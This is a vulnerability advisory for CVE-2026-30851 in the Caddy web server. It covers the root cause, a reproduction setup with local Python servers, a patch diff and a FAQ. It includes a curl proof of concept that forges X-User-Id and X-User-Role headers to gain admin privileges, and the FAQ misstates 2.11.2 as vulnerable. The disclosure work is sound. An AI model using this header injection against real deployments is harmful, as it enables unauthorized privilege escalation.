CVE-2026-30851: Caddy forward_auth copy_headers Does Not Strip Client-Supplied Headers, Allowing Identity Injection and Privilege Escalation
Summary
Caddy's forwardauth directive with copyheaders generates conditional header-set operations that only fire when the upstream auth service includes the named header in its response. No delete or remove operation is generated for the original client-supplied request header with the same name.
When an auth service returns 200 OK without one of the configured copyheaders headers, the client-supplied header passes through unchanged to the backend. Any requester holding a valid authentication token can inject arbitrary values for trusted identity headers, resulting in privilege escalation.
This is a regression introduced by PR #6608 in November 2024. All stable releases from v2.10.0 onward are affected.
---
Scope Argument
This is a bug in the source code of this repository, not a misconfiguration.
The operator uses forwardauth with copyheaders exactly as documented. The documentation contains no warning that client-supplied headers with the same names as copyheaders entries must also be stripped manually. The forwardauth directive is a security primitive whose stated purpose is to gate backend access behind an external auth service. A user of this directive reasonably expects that the backend cannot receive a client-controlled value for a header listed in copyheaders.
The bug is traceable to a specific commit: PR #6608 (merged November 4, 2024), which added a MatchNot guard to skip the Set operation when the auth response header is absent. This change, while fixing a legitimate UX issue (headers being set to empty strings), removed the incidental protection that the previous unconditional Set provided. Before PR #6608, setting a header to an empty/unresolved placeholder overwrote the attacker-supplied value. After PR #6608, the attacker's value survives.
The fix is a single-line code change in modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go.
---
Affected Versions
| Version | Vulnerable | |---|---| | <= v2.9.x | No (old code overwrote client value with empty placeholder) | | v2.10.0 (April 18, 2025) | Yes — first stable release containing PR #6608 | | v2.10.1 | Yes | | v2.10.2 | Yes | | v2.11.0 | Yes | | v2.11.1 (February 23, 2026, current) | Yes — unpatched |
Package: github.com/caddyserver/caddy/v2 Affected file: modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go
---
Root Cause
The parseCaddyfile function builds one route per copyheaders entry. Each route uses a MatchNot guard and a Set operation:
go // from modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go (v2.11.1, identical in v2.10.x) copyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{ MatcherSetsRaw: []caddy.ModuleMap{{ "not": h.JSON(caddyhttp.MatchNot{MatcherSetsRaw: []caddy.ModuleMap{{ "vars": h.JSON(caddyhttp.VarsMatcher{ "{" + placeholderName + "}": []string{""}, }), }}}), }}, HandlersRaw: []json.RawMessage{caddyconfig.JSONModuleObject( handler, "handler", "headers", nil, )}, })
The route runs only when {http.reverseproxy.header.X-User-Id} (the auth service's response header) is non-empty. When the auth service does not return X-User-Id, the placeholder is empty, the MatchNot guard fires, the route is skipped, and the original client-supplied X-User-Id header is never removed.
There is no Delete operation anywhere in this function.
---
Minimal Reproduction Config
Caddyfile (no redactions, as required):
{ admin off autohttps off debug }
:8080 { forwardauth 127.0.0.1:9091 { uri / copyheaders X-User-Id X-User-Role } reverseproxy 127.0.0.1:9092 }
---
Reproduction Steps
No containers, VMs, or external services are used. All services run as local processes.
Step 1 — Start the auth service
Save as auth.py and run python3 auth.py in a terminal:
python auth.py Accepts any Bearer token, returns 200 OK with NO identity headers. Represents a stateless JWT validator that checks signature only. import sys from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler): def doGET(self): auth = self.headers.get('Authorization', '') code = 200 if auth.startswith('Bearer ') else 401 self.sendresponse(code) self.endheaders() sys.stdout.write(f'[auth] {self.command} {self.path} -> {code}\n') sys.stdout.flush() def logmessage(self, a): pass
HTTPServer(('127.0.0.1', 9091), H).serveforever()
Step 2 — Start the backend
Save as backend.py and run python3 backend.py in a second terminal:
python backend.py Echoes the identity headers it receives. import sys, json from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler): def doGET(self): data = { 'X-User-Id': self.headers.get('X-User-Id', '(absent)'), 'X-User-Role': self.headers.get('X-User-Role', '(absent)'), } body = json.dumps(data, indent=2).encode() self.sendresponse(200) self.sendheader('Content-Type', 'application/json') self.sendheader('Content-Length', str(len(body))) self.endheaders() self.wfile.write(body) sys.stdout.write(f'[backend] saw: {data}\n') sys.stdout.flush() def logmessage(self, a): pass
HTTPServer(('127.0.0.1', 9092), H).serveforever()
Step 3 — Start Caddy
bash caddy run --config Caddyfile --adapter caddyfile
Step 4 — Run the three test cases
Test A: No token — must be blocked (confirms auth is enforced)
bash curl -v http://127.0.0.1:8080/
Expected: HTTP/1.1 401
---
Test B: Valid token, no injected headers (baseline)
bash curl -v http://127.0.0.1:8080/ \ -H "Authorization: Bearer token123"
Expected backend response: json { "X-User-Id": "(absent)", "X-User-Role": "(absent)" }
---
Test C: ATTACK — valid token plus injected identity headers
bash curl -v http://127.0.0.1:8080/ \ -H "Authorization: Bearer token123" \ -H "X-User-Id: admin" \ -H "X-User-Role: superadmin"
Actual backend response (demonstrates the vulnerability): json { "X-User-Id": "admin", "X-User-Role": "superadmin" }
The backend receives the attacker-supplied identity values. The auth service accepted the token (correctly) but did not return X-User-Id or X-User-Role. Caddy skipped the Set operation due to the MatchNot guard but never deleted the original headers. The attacker-controlled values survived into the proxied request.
Test C is the proof of the vulnerability.
The attack requires only a valid (non-privileged) token. No admin account is needed.
---
Full Debug Log
Run Caddy with debug in the global block (included in the Caddyfile above). The relevant log lines from Test C will show:
DEBUG http.handlers.reverseproxy selected upstream {"dial": "127.0.0.1:9091"} DEBUG http.handlers.reverseproxy upstream responded {"status": 200} DEBUG http.handlers.reverseproxy handling response {"handler": "copyheaders"}
Note that no log line will show a header deletion because no deletion occurs. The X-User-Id and X-User-Role headers are never touched.
---
Impact
Any deployment using forwardauth with copyheaders where the auth service validates credentials without returning identity headers in its response. This is common in:
- Stateless JWT validators (verify signature, no response headers) - Session validators that leave identity decoding to the backend - Auth services where only some requests return identity headers
Attack: 1. Attacker has any valid auth token 2. Attacker sends request with forged X-User-Id: admin and X-User-Role: superadmin 3. Auth service validates token, returns 200 OK, no identity headers 4. Caddy skips Set (placeholder empty), never deletes original headers 5. Backend receives X-User-Id: admin, X-User-Role: superadmin 6. Backend grants admin access
CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N = 8.1 High
---
Working Patch
diff --- a/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go +++ b/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go @@ -216,6 +216,25 @@ func parseCaddyfile(h httpcaddyfile.Helper) ([]httpcaddyfile.ConfigValue, error) copyHeaderRoutes := []caddyhttp.Route{} for , from := range sortedHeadersToCopy { to := http.CanonicalHeaderKey(headersToCopy[from]) placeholderName := "http.reverseproxy.header." + http.CanonicalHeaderKey(from) + + // Security fix: unconditionally delete the client-supplied header + // before the conditional set runs. Without this, a client that + // pre-supplies a header listed in copyheaders can inject arbitrary + // values when the auth service does not return that header, because + // the MatchNot guard below skips the Set entirely (leaving the + // original client value intact). + copyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{ + HandlersRaw: []json.RawMessage{ + caddyconfig.JSONModuleObject( + &headers.Handler{ + Request: &headers.HeaderOps{ + Delete: []string{to}, + }, + }, + "handler", "headers", nil, + ), + }, + }) + handler := &headers.Handler{ Request: &headers.HeaderOps{ Set: http.Header{
The delete route has no matcher, so it always runs. It fires before the existing MatchNot + Set route. The client-supplied header is cleared unconditionally. If the auth service provides the header, the subsequent Set then applies the correct value. If the auth service does not provide the header, the client's value is gone and the backend receives nothing.
This is a minimal, targeted fix with no impact on existing functionality when the auth service returns the headers.
---
Uniqueness Confirmation
The following were checked and confirmed not to cover this vulnerability:
- All 6 GHSA advisories published 2026-02-23: GHSA-x76f-jf84-rqj8, GHSA-g7pc-pc7g-h8jh, GHSA-hffm-g8v7-wrv7, GHSA-879p-475x-rqh2, GHSA-4xrr-hq4w-6vf4, GHSA-5r3v-vc8m-m96g - GitHub issue #7459 (malformed Host header) - GitHub issue #6610 (template placeholder leakage in copyheaders — fixed by PR #6608, which introduced this regression) - All Caddy community forum threads on forwardauth, copyheaders, and header stripping - CVE-2026-25748 (authentik auth bypass — root cause is in authentik cookie parsing, not Caddy) - CVE-2024-21494, CVE-2024-21499 (caddy-security third-party plugin, not Caddy core) - PR #6608 comment thread (no security discussion) - cvedetails.com Caddy product listing (no matching CVE)
No prior report exists for this specific behavior.
---
References
- Vulnerable file (v2.11.1): https://github.com/caddyserver/caddy/blob/v2.11.1/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go - PR #6608 (introduced regression): https://github.com/caddyserver/caddy/pull/6608 - Issue #6610 (related UX bug, fixed by PR #6608): https://github.com/caddyserver/caddy/issues/6610 - forwardauth documentation: https://caddyserver.com/docs/caddyfile/directives/forwardauth
---
Fix Fix PR - https://github.com/caddyserver/caddy/pull/7545
---
AI Disclosure
An LLM was used to polish the report.
Other sources
Caddy is an extensible server platform that uses TLS by default. From version 2.10.0 to before version 2.11.2, forwardauth copyheaders does not strip client-supplied headers, allowing identity injection and privilege escalation. This issue has been patched in version 2.11.2.
— MITRE
Affected Software
Remediation
Patch Available
Patch Available
Event History
Frequently Asked Questions
What is the severity of CVE-2026-30851?
CVE-2026-30851 has been classified as a high severity vulnerability due to its potential for identity injection and privilege escalation.
How do I fix CVE-2026-30851?
To fix CVE-2026-30851, upgrade Caddy to version 2.11.2 or later, where the issue has been addressed.
What types of systems are vulnerable to CVE-2026-30851?
Systems using Caddy versions 2.10.0 to 2.11.2 that utilize the `forward_auth` directive with `copy_headers` are vulnerable to CVE-2026-30851.
What is the impact of exploiting CVE-2026-30851?
Exploiting CVE-2026-30851 can lead to unauthorized access and privilege escalation by allowing attackers to inject malicious headers.
Are there workarounds for CVE-2026-30851 while waiting for a patch?
Temporary workarounds for CVE-2026-30851 include not using the `copy_headers` directive with untrusted input until the upgrade can be made.